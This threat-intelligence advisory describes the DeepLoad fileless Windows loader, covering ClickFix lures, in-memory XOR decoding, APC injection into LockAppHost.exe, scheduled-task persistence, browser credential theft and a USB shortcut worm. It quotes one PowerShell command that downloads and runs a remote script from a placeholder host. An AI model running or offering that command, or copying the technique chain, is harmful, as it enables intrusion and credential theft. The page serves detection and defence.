DeepLoad Fileless Loader — ClickFix Delivery, APC Injection into LockAppHost.exe, USB .lnk Worm and Credential Theft — Threadlinqs Intelligence
As of 2026-05-30, DeepLoad Fileless Loader — ClickFix Delivery, APC Injection into LockAppHost.exe, USB .lnk Worm and Credential Theft is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 15 indicators of compromise.
Threat ID: TL-2026-0558 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
DeepLoad is a fileless Windows loader first observed in March 2026 and analyzed publicly by Picus Security in May 2026. Operators deliver the loader via the ClickFix social engineering technique,
DeepLoad is a multi-stage fileless loader and credential-theft toolchain first observed in the wild in March 2026 and published in technical detail by Picus Security (Umut Bayram) on 22 May 2026. The intrusion set is notable for combining the ClickFix social engineering pattern, in-memory XOR-decrypted payloads, APC-queue process injection into trusted Windows binaries (notably LockAppHost.exe), scheduled-task persistence, dual-track browser credential theft, and a USB .lnk worm component that has been seen dropping 40+ shortcut files disguised as common installers.
Initial Access. The campaign uses ClickFix lures — typically a fake browser or document error page that instructs the victim to press Win+R or open a terminal and paste a supplied command 'to repair' the issue. The pasted command follows the pattern powershell.exe -ep Bypass -Command "iex(irm hxxp://<malicious_ip>:3015/index)", retrieving a heavily obfuscated PowerShell script from the operator's server on TCP/3015. No file is dropped to disk during this stage; the user-pasted command line and PowerShell process tree are the primary forensic artifacts.
Deobfuscation and In-Memory Execution. The fetched script buries its real logic under thousands of meaningless variable assignments to defeat pattern-matching scanners and visual review. The active code XOR-decodes an embedded payload entirely in memory using a hardcoded key. Because the decoded stage never touches disk, conventional file-based antivirus and EDR file-write telemetry do not fire; only behavioral telemetry around PowerShell child processes, suspicious in-memory allocations, and process injection captures the activity.
Process Injection (APC into LockAppHost.exe). The decoded loader allocates memory in a remote target process and queues an Asynchronous Procedure Call (APC) against a thread within that process so that the malicious code runs in the context of a trusted Windows binary. DeepLoad notably targets LockAppHost.exe, the host process for the Windows lock-screen experience, which is a long-lived signed Microsoft binary and an unusual injection target that bypasses many heuristics tuned for explorer.exe, svchost.exe, or browser injection. Other trusted Microsoft binaries are also targeted in observed samples.
Persistence. After the active payload is resident in the trusted process, it creates a scheduled task that re-invokes the loader on user logon or on a recurring schedule, giving operators durable access without writing the active code to disk.
Credential Theft (Two Tracks). DeepLoad runs credential theft on two parallel tracks. The first is filemanager.exe, a standalone stealer module that scrapes saved browser passwords from Login Data SQLite databases and decrypts them with the per-user DPAPI keys available to the logged-on user. The second is a malicious browser extension installed into the victim's browser profile that hooks form inputs and intercepts credentials in real time as the user types them, defeating credential vaulting and any post-hoc rotation. Both tracks exfiltrate to the operator's HTTP infrastructure.
Lateral Movement / Propagation. Each infected host can act as a propagation node. The loader enumerates attached USB drives and drops 40+ Windows shortcut (.lnk) files disguised as common installers (browser installers, Microsoft Office bundles, well-known utilities). Each shortcut, when double-clicked on a new host, re-runs the ClickFix-equivalent command chain via cmd.exe / powershell.exe to re-trigger the full infection. This makes DeepLoad effectively a worm in any environment that permits USB use, and means a single infected USB drive can re-seed an environment after remediation.
Defensive Implications. Because the loader is fileless, traditional file-hash blocking, signature scanning, and even YARA rules over disk content provide little coverage. Effective detection requires (1) PowerShell ScriptBlock and Module logging to capture the deobfuscated content, (2) Sys
Weaknesses (CWE)
CWE-77, CWE-94, CWE-506, CWE-829
Target sectors: technology, financial, retail, healthcare, education, government, manufacturing, general
Target regions: Global
Detections & IOCs
As of 2026-07-21, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 15 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1583, T1566, T1204, T1059, T1106, T1053, T1055, T1055, T1027, T1140